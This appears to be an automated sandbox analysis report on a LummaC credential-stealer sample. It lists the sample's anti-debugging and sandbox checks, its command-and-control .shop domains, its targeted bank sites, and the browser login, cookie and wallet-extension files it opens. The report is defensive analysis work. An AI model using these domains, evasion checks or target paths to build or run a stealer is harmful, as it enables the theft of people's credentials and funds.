Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: bzzF5OFbVi.exe, 00000000.00000002.2394427755.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, bzzF5OFbVi.exe, 00000000.00000002.2394427755.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: bzzF5OFbVi.exe, 00000000.00000002.2388470462.0000000000218000.00000040.00000001.01000000.00000003.sdmp, bzzF5OFbVi.exe, 00000000.00000002.2399201862.0000000005ED8000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: bzzF5OFbVi.exe, 00000000.00000003.2128707390.0000000005530000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: NTICE
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: SICE
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Code function: 0_2_05EEACA0 rdtsc

0_2_05EEACA0

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Code function: 0_2_05EE347E LdrInitializeThunk,

0_2_05EE347E

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: bzzF5OFbVi.exe	String found in binary or memory: cloudewahsj.shop
Source: bzzF5OFbVi.exe	String found in binary or memory: rabidcowse.shop
Source: bzzF5OFbVi.exe	String found in binary or memory: noisycuttej.shop
Source: bzzF5OFbVi.exe	String found in binary or memory: tirepublicerj.shop
Source: bzzF5OFbVi.exe	String found in binary or memory: framekgirus.shop
Source: bzzF5OFbVi.exe	String found in binary or memory: wholersorie.shop
Source: bzzF5OFbVi.exe	String found in binary or memory: abruptyopsn.shop
Source: bzzF5OFbVi.exe	String found in binary or memory: nearycrepso.shop
Source: bzzF5OFbVi.exe	String found in binary or memory: fancywaxxers.shop

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=bzzF5OFbVi.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: bzzF5OFbVi.exe, bzzF5OFbVi.exe, 00000000.00000002.2388470462.0000000000218000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: \|mBNProgram Manager
Source: bzzF5OFbVi.exe, 00000000.00000002.2388470462.0000000000218000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: o\|mBNProgram Manager
Source: bzzF5OFbVi.exe, bzzF5OFbVi.exe, 00000000.00000002.2399201862.0000000005ED8000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: CGProgram Manager

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: bzzF5OFbVi.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\bzzF5OFbVi.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
